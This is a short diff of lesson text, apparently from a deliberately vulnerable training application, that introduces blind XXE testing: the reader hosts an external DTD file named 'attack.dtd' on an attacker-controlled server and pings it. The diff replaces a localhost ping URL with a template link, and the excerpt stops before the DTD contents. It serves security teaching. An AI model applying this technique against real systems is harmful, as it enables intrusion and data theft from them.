 Let's start with an example, in this case we reference an external DTD which we control on our own server.
 
 As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
-use this server to ping it using `http://localhost:8081/ping?text=HelloWorld
+use this server to ping it using `webWolfLink:landing[noLink]`
 
 How do we use this endpoint to verify whether we can perform XXE?
 
 We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents:
 
-[source]
